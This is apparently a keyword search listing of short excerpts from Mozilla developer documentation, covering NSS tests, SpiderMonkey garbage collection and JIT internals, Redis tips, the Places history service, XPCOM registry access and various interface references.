...ost.$domsuf" on your computer (ping reports receiving replies). on many computers the variables host=localhost domsuf=localdomain works. in case you built nss in 64 bits, you need to set the use_64 environment variable to 1 to run the tests. if you get name resolution errors, try to disable ipv6 on the loopback device. after you have set the required environment variables, use "cd nss/tests" and
start the tests using "./all.sh". the tests will take a while to complete; on a slow computer it could take a couple of hours. once the test suite has completed, a summary will be printed that shows the number of failures. you can find the test suite results in directory nss/../tests_results (i.e. the results directory ends up next to the nss directory, not within it). each test suite execution will c...
Statistics API
vascript.options.mem.notify", true); services.obs.addobserver(observer, "garbage-collection-statistics", false); the toplevel json object contains these fields: timestamp: integer (microseconds) - time at which the gc ended, measured from epoch. total_time: number (milliseconds) - the amount of wall time that this gc consumed. note: this is the sum of all the slice durations, not end time -
start time. compartments_collected: integer - the number of compartments that were collected by the gc. compartment_count: integer - the number of compartments that were present in the system at the end of the gc. max_pause: number (milliseconds) - longest duration pause during the gc. nonincremental_reason: string - a string representing the reason that an incremental gc was aborted or forced to f...
...that were present in the system at the end of the gc. max_pause: number (milliseconds) - longest duration pause during the gc. nonincremental_reason: string - a string representing the reason that an incremental gc was aborted or forced to finish in a single slice. if the incremental gc completed normally, this will be "none". allocated: integer (mb) - size of the javascript heap in mib at the
start of the gc. slices: array of objects - a list of objects describing each slice in detail. times: object - a map from phase names to the total time taken by each phase: the sum of each field of the map from the slices. the last two fields require a bit of elaboration. gc work can be divided into phases, such as marking or sweeping. the division into phases is hierarchical, so a phase can be spl...
...ices is completely separate from the division into phases; neither one is a refinment of the other). a little bit of gc work is done in each slice. in between slices, other browser code is allowed to run. the slices array describes how long each slice took and what work was done during the slice. ...
...c work is done in each slice. in between slices, other browser code is allowed to run. the slices array describes how long each slice took and what work was done during the slice. each element of the slices array is an object with these fields: slice: integer - the slice index,
starting at 0. pause: number (milliseconds) - the slice duration. when: number (milliseconds) - the time this slice
started, relative to the first slice's
start time. reason: string - a string describing the api that initiated this gc slice. page_faults: integer - number of page faults incurred during the processing of this slice.
start_timestamp: integer (microseconds) - time of slice
start from epoch. end_timestamp: integer (microseconds) - time of slice end from epoch. times: object - a map from phase names ...
Garbage collection
ts from different zones cannot be stored in the same arena. a zone remains alive as long as any js heap objects in the zone are alive. chunk a chunk is the largest internal unit of memory allocation. a chunk is 1mb and contains arenas, padding, the mark bitmap (chunkbitmap), a bitmap of decommitted arenas, and a chunk header (chunkinfo). the chunkinfo contains a list of unallocated arenas,
starting at chunkinfo::freearenashead and linked through arenaheader::next. the chunkinfo also contains some basic stats, such as the number of free arenas. arena an arena is an internal unit of memory allocation. an arena is one page (4096 bytes on almost all platforms) and contains an arenaheader, a few pad bytes, and then an array of aligned elements. all elements in an arena have the same alloca...
...next. the chunkinfo also contains some basic stats, such as the number of free arenas. arena an arena is an internal unit of memory allocation. an arena is one page (4096 bytes on almost all platforms) and contains an arenaheader, a few pad bytes, and then an array of aligned elements. all elements in an arena have the same allocation kind and size. every arena maintains a list of free spans,
starting at arenaheader::firstfreespanoffets. the last cell in each free span (except the last one) holds a freespan for the next free span. free span struct freespan represents a contiguous sequence of free cells [first,last] within an arena. freespan contains functions to allocate from the free span. mark bitmap the mark bitmap is represented by chunkbitmap. the mark bitmap has two bits per gc c...
...un a bit, then do another bit of marking work. thus, instead of one long pause for marking, the gc does a series of short pauses. the pauses can be set to be 10ms or less. there is always a possibility that a long pause will be required. if the allocation rate is high during incremental gc, the engine may run out of memory before finishing the incremental gc. if so, the engine must immediately re
start a full, non-incremental gc in order to reclaim some memory and continue execution. incremental write barrier the problem that requires a write barrier incremental gc requires a write barrier for correctness. todo decent diagrams the basic problem is as follows (see dictionary for color terms). say object a is black and contains a pointer field. let object b be white. now let the incremental ...
... instead uses "gray" to refer to objects that are not black, but are reachable from "gray roots". gray roots are used by the gecko cycle collector to find cycles that pass through the js heap. handle in our gc, a handle is a pointer that has elsewhere been registered by a root. in other words, it is an updatable pointer to a gc thing (it is essentially a cell** that the gc knows about.) root a
starting point to the gc graph traversal, a root is known to be alive for some external reason (one other than being reachable by some other part of the gc heap.) weak pointer in common cs terminology, a weak pointer is one that doesn't keep the pointed-to value live for gc purposes. typically, a weak pointer value has a get() method that returns a null pointer if the object has been gc'd. in gecko/s...
Introduction to the JavaScript shell
teractive prompt, the lisp read-eval-print loop, or ruby's irb. this article explains how to use the shell to experiment with javascript code and run javascript programs. to get the spidermonkey javascript shell, see the spidermonkey build documentation or download a compiled binary for your platform from the nightly builds. for a list of other javascript shells, see javascript shells. note:
starting with spidermonkey 44 (firefox 44 / thunderbird 44 / seamonkey 2.41), the standard, web-compatible javascript version is used by default (and not js1.7+ anymore). the version() shell builtin is still there for testing legacy features. running the javascript shell the shell offers two modes of operation. you can use it as an interactive shell, in which you type javascript code at a prompt and...
...d time at which the javascript shell was built. note: clear() with no parameters really clears everything. this includes all these built-in functions. clone(function, [scope]) clones the specified function object. if scope isn't specified, the new object's parent is the same as the original object's. otherwise, the new object is placed in the scope of the object specified by scope. ...
...ludes all these built-in functions. clone(function, [scope]) clones the specified function object. if scope isn't specified, the new object's parent is the same as the original object's. otherwise, the new object is placed in the scope of the object specified by scope. countheap([
start[, kind]]) added in spidermonkey 1.8 count the number of live gc things in the heap, or things reachable from
start when it is given and is not null. kind is either 'all' (default) to count all things or one of 'object', 'double', 'string', 'function', 'qname', 'namespace', 'xml' to count only things of that kind. dumpheap([filename[,
start[, tofind[, maxdepth[, toignore]]]]]) added in spidermonkey 1.8 dump the graph of all existing objects (or a specific interesting subgraph) to a file. for more information...
...this is a thin wrapper for js_dumpheap. gczeal(zeal) enable extra-frequent gc, to help find gc hazards. zeal is an integer. the meaning is the same as for the parameter to js_setgczeal. notes([function]) shows the source notes for the specified function. source notes contain information that map the bytecode to the source code, which ...
JIT Optimization Strategies
always fail on property accesses which are not on the window object. it is useful because accessing global names via the 'window' object is a common idiom in web programming. getprop_inlinecache this is the worst-case scenario for a property access optimization. this strategy is used when all the others fail. the engine simply inserts an inline cache at the property access site. inline caches
start off as a jump to a separate piece of code called a "fallback". the fallback calls into the interpreter vm (which is very slow) to perform the operation, and then decides if the operation can be optimized in that particular case. if so, it generates a new "stub" (or freestanding piece of jitcode) and changes the inline cache to jump to the stub. the stub attempts to optimize further occurrences of...
...s optimization: if obj.shape == shape1 then obj.slots[0] = val elif obj.shape == shape2 then obj.slots[5] = val elif obj.shape == shape3 then obj.slots[2] = val ... end setprop_inlinecache this is the worst-case scenario for a property access optimization. this strategy is used when all the others fail. the engine simply inserts an inline cache at the property write site. inline caches
start off as a jump to a separate piece of code called a "fallback". the fallback calls into the interpreter vm (which is very slow) to perform the operation, and then decides if the operation can be optimized in that particular case. if so, it generates a new "stub" (or freestanding piece of jitcode) and changes the inline cache to jump to the stub. the stub attempts to optimize further occurrences of...
..., then this optimization can transform the entire procedure to the following pseudo-code: compiled foo(arg): // inlined call to bar(arg, 3) { return arg + 3; // } getelem_inlinecache this is the worst-case scenario for an element access optimization. this strategy is used when all the others fail. the engine simply inserts an inline cache at the property write site. inline caches
start off as a jump to a separate piece of code called a "fallback". the fallback calls into the interpreter vm (which is very slow) to perform the operation, and then decides if the operation can be optimized in that particular case. if so, it generates a new "stub" (or freestanding piece of jitcode) and changes the inline cache to jump to the stub. the stub attempts to optimize further occurrences of...
...above, this optimization will be suppressed. in particular, arguments cannot be returned from the function, or passed as an argument into calls (except for the apply case above). setelem_inlinecache this is the worst-case scenario for a element write optimization. this strategy is used when all the others fail. the engine simply inserts an inline cache at the property write site. inline caches
start off as a jump to a separate piece of code called a "fallback". the fallback calls into the interpreter vm (which is very slow) to perform the operation, and then decides if the operation can be optimized in that particular case. if so, it generates a new "stub" (or freestanding piece of jitcode) and changes the inline cache to jump to the stub. the stub attempts to optimize further occurrences of...
Redis Tips
u use. time complexity - each command's complexity is given in big-o notation. this is immensely helpful. related commands - an ever-growing list of related commands is given on the right-hand side of the page. recipes - at the bottom of many pages is a section that gives usage patterns or recipes for the command under discussion. there are many insightful ideas to be found here. getting
started with redis before you go any further in this document, make sure you have played with redis for at least 5 or 10 minutes. if you have not, here is a fantastic on-line, interactive redis tutorial: http://try.redis.io/ for reference later on, you'll want the source of all things redis: https://redis.io you'll want to run a redis-server on your machine, and use the redis-cli at the command-l...
...the value argument.) you'll get one return value for each operation that didn't crash. this sounds terrifying, but it's not actually such a big deal in practice. commands will only crash if you feed them the wrong arguments or wrong number of arguments. and you'll probably find problems like that long before you go into production. optimistic locking your transactions are atomic once they
start, but of course you can't guarantee that you'll get there first. the redis command watch lets you name keys you're worried about; it causes your next transaction to be immediately aborted if any of the watched keys has been modified by anyone else. for example, here's some node code: var redis = require("redis"), client = redis.createclient({ ... }); client.watch("foo", function( err ){ ...
... a list or null. note also that it's not an error for a transaction to be aborted, so err will be null in either case. do notice however that watch will only work for keys. it won't work for hash fields nor for fields of other operations. you can watch a hash, but not its subfields. lists and queues lists make great queues. use commands like blpop rpush blpoprpush the commands that
start with b are blocking. they will sit there and quietly do nothing until there is a value available on the list for them to pop. you can specify a timeout, or have them block forever (timeout = 0). the r in rpush means to push on the right-hand side of the list. an l is the left-hand side. suum cuique. try this in two separate redis-cli sessions. first here: redis1> blpop myqueue 0 tha...
...te flavor storing huge globs of json. how can i hate this? i love both redis and json; how can i not want to bring them together? it's so tempting to do so! and it's so easy! it's just a stringify() and a set away. in some cases, stashing json or passing it over queues and pubsub channels could be the right thing to do. i think logging data is a good candidate for this. but before you
start cramming huge messes of stringified json in your db, check in with your gut and ask yourself: does the structure of the json matter for my queries? how much space could this consume over time? do i want a structured document db and/or sql on the side? if the structure matters, consider using redis hashes or flattening your data across your keyspace. or consider storing the json data in mo...
History Service Design
ility to generalize the frecency algorithm to allow for its use in user's queries. might be also nice to provide a hook for third-party products so they can provide text searching capabilities to the places system. places core history service (nsinavhistoryservice.idl) is the core of places, every other places service depends on it to correctly work, so it gets always initialized at application
startup. actual tasks executed by this service include: database creation, maintenance and initialization: all services rely on a common shared database called places.sqlite. history service checks for database existance and coherence, and initializes the connection through the storage service. history management: provides basic and advanced apis to store and modify visits and page details...
...elevance calculation: maintain and expire frecency values for pages. history expiration: expire old visits and invalid informations from the database. queries creation: allows the creation for complex queries. queries results maintenance: allows easy access to queries results. charset for pages: allows setting and reading charset for each page. database maintenance at
startup the service creates an exclusive storage connection to places.sqlite, the exclusive locking is needed for both a perf gain and data-safety. in case the database is missing a new one is created, if instead the database exists but the connection to it fails due to database corruption, the corrupt database is moved away and a new one is created. in both cases an implementer can know what did happe...
...e service creates an exclusive storage connection to places.sqlite, the exclusive locking is needed for both a perf gain and data-safety. in case the database is missing a new one is created, if instead the database exists but the connection to it fails due to database corruption, the corrupt database is moved away and a new one is created. in both cases an implementer can know what did happen at
startup and act accordingly (maybe restoring a backup). once the database connection has been set-up the schema version of the database is checked. schema version is upgraded every time a change is made to the database schema, history service will eventually upgrade the database, moving and fixing its datas accordingly. in case the database has been created for the first time history service will crea...
...ry storage is used to avoid too frequent writes to the disk, since those are most likely to cause fsyncs (to ensure data integrity) on the target filesystem. the temporary data (actually visits and pages) are synced to disk either on a timer and on bookmark's inserts. performance to ensure performance a bunch of statements, commonly used when adding or reading visit informations, are created at
startup. these statements can be reused avoiding the overhead due to createstatement calls, before closing the connection these statements need to be finalized though, since not doing that would cause leaking. the internal syncing service takes care of initializing places, syncing data to disk and finalize statements, so usually that's not a problem. the same pre-compiled statements approach is used in...
Accessing the Windows Registry Using XPCOM
in some situations, you may want to enumerate a number of keys or values whose names you do not know. the nsiwindowsregkey interface provides the childcount, getchildname(), valuecount, and getvaluename() properties and methods for enumerating keys and values respectively. you can use these methods to read a list of values or recursively access a branch of the registry. this example reads all the
startup programs in one key of the registry. var wrk = components.classes["@mozilla.org/windows-registry-key;1"] .createinstance(components.interfaces.nsiwindowsregkey); wrk.open(wrk.root_key_local_machine, "software\\microsoft\\windows\\currentversion\\run", wrk.access_read); for (var i=0; i<wrk.valuecount; i++) { var name = wrk.getvaluename(i); var value = ...
...the method takes one parameter, a boolean indicating whether child keys should be watched. after that, you can call haschanged() to determine whether or not you need to reread the value. calling haschanged() automatically resets the watch, so you can be sure that if it returns true ther...
... .createinstance(components.interfaces.nsiwindowsregkey); wrk.open(wrk.root_key_current_user, "software\\mdc\\test", wrk.access_all); removechildrenrecursive(wrk); wrk.close(); monitoring registry keys if you would like to know whether a registry key has changed since you last checked it, you can use the
startwatching(), stopwatching(), and haschanged() methods. you must call
startwatching() for the key to be monitored. the method takes one parameter, a boolean indicating whether child keys should be watched. after that, you can call haschanged() to determine whether or not you need to reread the value. calling haschanged() automatically resets the watch, so you can be sure that if it returns true there are changes. this example demonstrates a trivial registry value cache f...
... remember to call wrk.close() when you are finished! */ support in firefox 1.0 firefox 1.0 includes a much simpler interface to the windows registry, with...
nsACString_internal
rnal& operator=(const nsacstring_internal&) - source parameters nsacstring_internal& str nsacstring_internal& operator=(const nscsubstringtuple&) - source parameters nscsubstringtuple& tuple adopt void adopt(char*, pruint32) - source parameters char* data pruint32 length replace void replace(pruint32, pruint32, char) - source buffer manipulation parameters pruint32 cut
start pruint32 cutlength char c void replace(pruint32, pruint32, const char*, pruint32) - source parameters pruint32 cut
start pruint32 cutlength char* data pruint32 length void replace(pruint32, pruint32, const nsacstring_internal&) - source parameters pruint32 cut
start pruint32 cutlength nsacstring_internal& str void replace(pruint32, pruint32, const nscsubstringtuple&) - source param...
... char c void replace(pruint32, pruint32, const char*, pruint32) - source parameters pruint32 cut
start pruint32 cutlength char* data pruint32 length void replace(pruint32, pruint32, const nsacstring_internal&) - source parameters pruint32 cut
start pruint32 cutlength nsacstring_internal& str void replace(pruint32, pruint32, const nscsubstringtuple&) - source parameters pruint32 cut
start pruint32 cutlength nscsubstringtuple& tuple replaceascii void replaceascii(pruint32, pruint32, const char*, pruint32) - source parameters pruint32 cut
start pruint32 cutlength char* data pruint32 length append void append(char) - source parameters char c void append(const char*, pruint32) - source parameters char* data pruint32 length void append(const nsacstring_inter...
...rt(const char*, pruint32, pruint32) - source parameters char* data pruint32 pos pruint32 length void insert(const nsacstring_internal&, pruint32) - source parameters nsacstring_internal& str pruint32 pos void insert(const nscsubstringtuple&, pruint32) - source parameters nscsubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cut
start pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32 newcapacity setlength void setlength(pruint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const char**) const - source get a const pointer to the string's internal bu...
...id void setisvoid(prbool) - source string data is never null, but can be marked void. ...
nsAString_internal
ator=(const nsastring_internal&) - source parameters nsastring_internal& str nsastring_internal& operator=(const nssubstringtuple&) - source parameters nssubstringtuple& tuple adopt void adopt(prunichar*, pruint32) - source parameters prunichar* data pruint32 length replace void replace(pruint32, pruint32, prunichar) - source buffer manipulation parameters pruint32 cut
start pruint32 cutlength prunichar c void replace(pruint32, pruint32, const prunichar*, pruint32) - source parameters pruint32 cut
start pruint32 cutlength prunichar* data pruint32 length void replace(pruint32, pruint32, const nsastring_internal&) - source parameters pruint32 cut
start pruint32 cutlength nsastring_internal& str void replace(pruint32, pruint32, const nssubstringtuple&) - so...
... void replace(pruint32, pruint32, const prunichar*, pruint32) - source parameters pruint32 cut
start pruint32 cutlength prunichar* data pruint32 length void replace(pruint32, pruint32, const nsastring_internal&) - source parameters pruint32 cut
start pruint32 cutlength nsastring_internal& str void replace(pruint32, pruint32, const nssubstringtuple&) - source parameters pruint32 cut
start pruint32 cutlength nssubstringtuple& tuple replaceascii void replaceascii(pruint32, pruint32, const char*, pruint32) - source parameters pruint32 cut
start pruint32 cutlength char* data pruint32 length append void append(prunichar) - source parameters prunichar c void append(const prunichar*, pruint32) - source parameters prunichar* data pruint32 length void append(con...
...st prunichar*, pruint32, pruint32) - source parameters prunichar* data pruint32 pos pruint32 length void insert(const nsastring_internal&, pruint32) - source parameters nsastring_internal& str pruint32 pos void insert(const nssubstringtuple&, pruint32) - source parameters nssubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cut
start pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32 newcapacity setlength void setlength(pruint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const prunichar**) const - source get a const pointer to the string's intern...
...void setisvoid(prbool) - source string data is never null, but can be marked void. ...
IAccessibleTable
caption([out] iunknown accessible ); [propget] hresult childindex([in] long rowindex, [in] long columnindex, [out] long cellindex ); [propget] hresult columndescription([in] long column, [out] bstr description ); [propget] hresult columnextentat([in] long row, [in] long column, [out] long ncolumnsspanned ); [propget] hresult columnheader([out] iaccessibletable accessibletable, [out] long
startingrowindex ); [propget] hresult columnindex([in] long cellindex, [out] long columnindex ); [propget] hresult iscolumnselected([in] long column, [out] boolean isselected ); [propget] hresult isrowselected([in] long row, [out] boolean isselected ); [propget] hresult isselected([in] long row, [in] long column, [out] boolean isselected ); [propget] hresult modelchange([out] ia2tablemodelcha...
...wcolumnextentsatindex([in] long index, [out] long row, [out] long column, [out] long rowextents, [out] long columnextents, [out] boolean isselected ); [propget] hresult rowdescription([in] long row, [out] bstr description ); [propget] hresult rowextentat([in] long row, [in] long column, [out] long nrowsspanned ); [propget] hresult rowheader([out] iaccessibletable accessibletable, [out] long
startingcolumnindex ); [propget] hresult rowindex([in] long cellindex, [out] long rowindex ); hresult selectcolumn([in] long column ); [propget] hresult selectedchildren([in] long maxchildren, [out, size_is(,maxchildren), length_is(, nchildren)] long children, [out] long nchildren ); [propget] hresult selectedcolumns([in] long maxcolumns, [out, size_is(,maxcolumns), length_is(, ncolumns)] long ...
... return the column extent. ncolumnsspanned returns the 1 based column extent of the specified cell. return value e_invalidarg if bad [in] passed, [out] value is 0. s_ok. columnheader() returns the column headers as an iaccessibletable object. content and size of the returned table are implementation dependent. [propget] hresult columnheader( [out] iaccessibletable accessibletable, [out] long
startingrowindex ); parameters accessibletable the column header.
startingrowindex the 0 based row index where the header
starts, usually 0. return value s_false if there is no header, [out] values are null and 0 respectively. s_ok. columnindex() translates the given cell index into the corresponding column index. [propget] hresult columnindex( [in] long cellindex, [out] long columnindex ); par...
...he accessible for which to return the row extent. nrowsspanned returns the row extent of the specified cell. return value e_invalidarg if bad [in] passed, [out] value is 0. s_ok. rowheader() returns the row headers as an iaccessibletable object. content and size of the returned table are implementation dependent. [propget] hresult rowheader( [out] iaccessibletable accessibletable, [out] long
startingcolumnindex ); parameters accessibletable the row header.
startingcolumnindex the 0 based column index where the header
starts, usually 0. return value s_false if there is no header, [out] values are null and 0 respectively. s_ok. rowindex() translates the given cell index into a row index. [propget] hresult rowindex( [in] long cellindex, [out] long rowindex ); parameters cellindex 0 b...
imgIEncoder
nt32 frameformat, in astring frameoptions); void encodeclipboardimage(in nsiclipboardimage aclipboardimage, out nsifile aimagefile); obsolete since gecko 1.9 void endimageencode(); void initfromdata([array, size_is(length), const] in pruint8 data, in unsigned long length, in pruint32 width, in pruint32 height, in pruint32 stride, in pruint32 inputformat, in astring outputoptions); void
startimageencode(in pruint32 width, in pruint32 height, in pruint32 inputformat, in astring outputoptions); constants possible values for input format (note that not all image formats support saving alpha channels): constant value description input_format_rgb 0 input is rgb each pixel is represented by three bytes: r, g, and b (in that order, regardless of host endianness) input_format_rgba...
... canvas to match it's internal representation) pre-multiplied alpha is used (that is, 50% transparent red is 0x80800000, not 0x80ff0000) possible values for outputoptions. multiple values are semicolon-separated. png: ---- transparency=[yes|no|none] -- default: "yes" overrides default from input format. "no" and "none" are equivalent. apng: ----- the following options can be used with
startimageencode(): transparency=[yes|no|none] -- default: "yes" overrides default from input format. "no" and "none" are equivalent. skipfirstframe=[yes|no] -- default: "no" controls display of the first frame in animations. png-only clients always display the first frame (and only that frame). frames=# -- default: "1" total number of frames in the image. the first frame, even if sk...
...ge. normally (width*3) or (width*4), depending on your input format, but some data uses padding at the end of each row, which would be extra. inputformat one of input_format_* constants specifying the format of data. outputoptions semicolon-delimited list of name=value pairs that can give options to the output encoder. options are encoder-specific. just give an empty string for default behavior.
startimageencode() void
startimageencode( in pruint32 width, in pruint32 height, in pruint32 inputformat, in astring outputoptions ); parameters width width in pixels. height height in pixels. inputformat one of input_format_* constants specifying the format of data. outputoptions semicolon-delimited list of name=value pairs that can give options to the output encoder. options are encoder-spe...
...putformat one of input_format_* constants specifying the format of data. outputoptions semicolon-delimited list of name=value pairs that can give options to the output encoder. options are encoder-specific. just give an empty string for default behavior. remarks for encoding images which may contain multiple frames, the 1-shot initfromdata() interface is too simplistic. the alternative is to use
startimageencode(), call addimageframe() one or more times, and then finish initialization with endimageencode(). ...
nsIAccessibleTreeCache
bletreecache.idlnot scriptable please add a summary to this article. last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method overview nsiaccessible getcachedtreeitemaccessible(in long arow, in nsitreecolumn acolumn); void invalidatecache(in long arow, in long acount); void treeviewchanged(); void treeviewinvalidated(in long a
startrow, in long aendrow, in long a
startcol, in long aendcol); methods getcachedtreeitemaccessible() returns the tree item from the cache for the cell in the specified row and column; the nsiaccessible is created if it doesn't already exist in the cache. nsiaccessible getcachedtreeitemaccessible( in long arow, in nsitreecolumn acolumn ); parameters arow the row index. acolumn the column obje...
...mn acolumn ); parameters arow the row index. acolumn the column object. if is is null then the primary column is used. it makes sense for atk only. return value the nsiaccessible corresponding to the specified tree cell. invalidatecache() invalidates the number of cached treeitem accessibles. ...
...aendcol column index invalidation ends, -1 means the last column index. ...
...mber of treeitem accessibles to invalidate, the number sign specifies whether rows have been inserted (plus) or removed (minus) treeviewchanged() invalidates children created for the previous tree view. void treeviewchanged(); parameters none. treeviewinvalidated() fires name change events for invalidated area of tree. void treeviewinvalidated( in long a
startrow, in long aendrow, in long a
startcol, in long aendcol ); parameters a
startrow row index invalidation
starts from. aendrow row index invalidation ends, -1 means the last row index. a
startcol column index invalidation
starts from. aendcol column index invalidation ends, -1 means the last column index. ...
nsIArray
y, that the array should not be queryinterfaced to an nsimutablearray for modification. if the interface in question had intended the array to be modified, it would have returned an nsimutablearray! null is a valid entry in the array, and as such any nsisupports parameters may be null, except where noted. method overview nsisimpleenumerator enumerate(); unsigned long indexof(in unsigned long
startindex, in nsisupports element); void queryelementat(in unsigned long index, in nsiidref uuid, [iid_is(uuid), retval] out nsqiresult result); attributes attribute type description length unsigned long the number of elements in the array. read only. methods enumerate() enumerate the array. nsisimpleenumerator enumerate(); parameters none. return value a new enumerator positioned at the...
...ndex, in nsisupports element); void queryelementat(in unsigned long index, in nsiidref uuid, [iid_is(uuid), retval] out nsqiresult result); attributes attribute type description length unsigned long the number of elements in the array. read only. methods enumerate() enumerate the array. nsisimpleenumerator enumerate(); parameters none. ...
...exceptions thrown ns_error_failure if the element was not in the array. ...
..._error_failure if the array is empty (to make it easy to detect errors). ns_error_out_of_memory if there is not enough memory to complete the operation. indexof() get the position of a specific element. note that since null is a valid input, exceptions are used to indicate that an element is not found. unsigned long indexof( in unsigned long
startindex, in nsisupports element ); parameters
startindex the initial element to search in the array. to
start at the beginning, use 0 as the
startindex. element the element you are looking for. return value a number >=
startindex which is the position of the element in the array. exceptions thrown ns_error_failure if the element was not in the array. queryelementat() retrieve a specific element of the array, and queryinterface it to the specifi...
nsIAutoCompleteInput
n autocomplete panel at the appropriate time. inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview acstring getsearchat(in unsigned long index); void onsearchbegin(); void onsearchcomplete(); boolean ontextentered(); boolean ontextreverted(); void selecttextrange(in long
startindex, in long endindex); attributes attribute type description completedefaultindex boolean if a search result has its defaultindex set, this will optionally try to complete the text in the textbox to the entire text of the result at the default index as the user types. this means that auto-fill is enabled. completese...
...er or not the popup view is already open. searchcount unsigned long the number of autocomplete sessions to search. read only. searchparam astring an additional parameter used for configuring searches. selectionend long the ending index of the current selection in the text field. read only. selection
start long the
starting index of the current selection in the text field. read only. showcommentcolumn boolean if true, a column is added to the popup, showing the comment for each autocomplete result. showimagecolumn boolean if true, a column is added to the popup, showing an additional image for each autocomplete result. ...
...milliseconds after a keystroke before a search begins. methods getsearchat() returns the name of one of the autocomplete search session objects. acstring getsearchat( in unsigned long index ); parameters index the index number of the search session object whose name is to be returned. return value the name of the specified object. onsearchbegin() called when the search
starts. void onsearchbegin(); parameters none. onsearchcomplete() called when the search ends successfully. void onsearchcomplete(); parameters none. ontextentered() called when the user selects and presses enter on a result item. boolean ontextentered(); parameters none. return value return true to prevent handling the selection. ontextreverted() called when the user cancels the autocomplete sessio...
...enter on a result item. boolean ontextentered(); parameters none. return value return true to prevent handling the selection. ontextreverted() called when the user cancels the autocomplete session. boolean ontextreverted(); parameters none. return value return true to prevent the reversion. selecttextrange() selects a range of text in the autocomplete text field. void selecttextrange( in long
startindex, in long endindex ); parameters
startindex the index to the first character in the text field to select. endindex the index to the last character in the text field to select. ...
nsIDOMSimpleGestureEvent
1.9.1 inherits from: nsidommouseevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) the nsidomsimplegestureevent interface is the datatype for all mozilla-specific simple gesture events in the document object model. the following events are generated: mozswipegesture - generated when the user completes a swipe across across the input device. mozmagnifygesture
start - generated when the user begins the magnify ("pinch") gesture. the "delta" value represents the initial movement. mozmagnifygestureupdate - generated periodically while the user is continuing the magnify ("pinch") gesture. the "delta" value represents the movement since the last mozmagnifygesture
start or mozmagnifygestureupdate event. mozmagnifygesture - generated when the user has completed t...
...the "delta" value represents the initial rotation. ...
...date event. mozmagnifygesture - generated when the user has completed the magnify ("pinch") gesture. if you only want to receive a single event when the magnify gesture is complete, you only need to hook this event and can safely ignore the mozmagnifygesture
start and the mozmagnifygestureupdate events. the "delta" value is the cumulative amount represented by the user's gesture. mozrotategesture
start - generated when the user begins the rotation gesture. the "delta" value represents the initial rotation. mozrotategestureupdate - generated periodically while the user is continuing the rotation gesture. the "delta" value represents the rotation since the last mozrotategesture
start or mozrotategestureupdate event. mozrotategesture - generated when the user has completed the rotation gesture. i...
...the "delta" value is the cumulative amount of rotation represented by the user's gesture. moztapgesture - generated when the user executes a two finger tap gesture on the input device. ...
nsIHttpServer
if (callback) { this.registerprefixhandler("/", callback); } let host = "localhost"; if (typeof port === "string" && port.indexof(':') != -1){ [host, port] = port.split(':'); port = parseint(port); server.identity.add('http', host, port); } server.wrappedjsobject._
start(port, host); return true; }, registerfile: function(path, filepath) { var file = components.classes['@mozilla.org/file/local;1'] .createinstance(components.interfaces.nsilocalfile); file.initwithpath(filepath); return server.registerfile(path, file); }, registerdirectory : function(path, ...
...req, resp); }); }, close: function(){ server.stop(function(){}); }, get port() { return server.identity.primaryport } } } reference : mozilla-release/netwerk/test/httpserver/nsihttpserver.idl [scriptable, uuid(cea8812e-faa6-4013-9396-f9936cbb74ec)] interface nsihttpserver : nsisupports { /** *
starts up this server, listening upon the given port. * * @param port * the port upon which listening should happen, or -1 if no specific port is * desired * @throws ns_error_already_initialized * if this server is already
started * @throws ns_error_not_available * if the server is not
started and cannot be
started on the desired port * (perhaps because the port is ...
...ror_not_available * if the server is not
started and cannot be
started on the desired port * (perhaps because the port is already in use or because the process does * not have privileges to do so) * @note * behavior is undefined if this method is called after stop() has been * called on this but before the provided callback function has been * called. */ void
start(in long port); /** * shuts down this server if it is running (including the period of time after * stop() has been called but before the provided callback has been called). * * @param callback * an asynchronous callback used to notify the user when this server is * stopped and all pending requests have been fully served * @throws ns_error_null_pointer * if callbac...
...r_invalid_arg * if path does not begin with a "/" */ void registerpathhandler(in string path, in nsihttprequesthandler handler); /** * registers a custom prefix handler. * * @param prefix * the path on the server (beginning and ending with "/") which is to be * handled by handler; this path must not include a query string or hash * component. all requests that
start with this prefix will be directed to * the given handler. * @param handler * an object which will handle any requests for the given path, or null to * remove any existing handler; if while the server is running the handler * throws an exception while responding to a request, an http 500 response * will be returned * @throws ns_error_invalid_arg * if path does n...
nsIMsgDatabase
tched, in nsidbchangelistener instigator); void markheaderkilled(in nsimsgdbhdr msg, in boolean bignored, in nsidbchangelistener instigator); boolean isread(in nsmsgkey key); boolean isignored(in nsmsgkey key); boolean ismarked(in nsmsgkey key); boolean hasattachments(in nsmsgkey key); void markallread(in nsmsgkeyarrayptr thosemarked); native code only! void markreadbydate(in prtime
startdate, in prtime enddate, in nsmsgkeyarrayptr markedids); native code only! void deletemessages(in nsmsgkeyarrayptr nsmsgkeys, in nsidbchangelistener instigator); native code only! void deletemessage(in nsmsgkey key, in nsidbchangelistener instigator, in boolean commit); void deleteheader(in nsimsgdbhdr msghdr, in nsidbchangelistener instigator,in boolean commit, in boolean notify); void re...
... void listallofflinedeletes(in nsmsgkeyarrayptr offlinedeletes); native code only! void listal...
... in nsidbchangelistener instigator); isread() boolean isread(in nsmsgkey key); isignored() boolean isignored(in nsmsgkey key); ismarked() boolean ismarked(in nsmsgkey key); hasattachments() boolean hasattachments(in nsmsgkey key); markallread() [noscript] void markallread(in nsmsgkeyarrayptr thosemarked); markreadbydate() [noscript] void markreadbydate (in prtime
startdate, in prtime enddate, in nsmsgkeyarrayptr markedids); deletemessages() [noscript] void deletemessages(in nsmsgkeyarrayptr nsmsgkeys, in nsidbchangelistener instigator); deletemessage() void deletemessage(in nsmsgkey key, in nsidbchangelistener instigator, ...
...er is true, we'll call nsimsgfolder.deletemessages() to delete the messages. otherwise, we'll just delete them from the db. void applyretentionsettings(in nsimsgretentionsettings amsgretentionsettings, in boolean adeleteviafolder); hasnew() boolean hasnew(); clearnewlist() void clearnewlist(in boolean notify); addtonewlist() void addtonewlist(in nsmsgkey key);
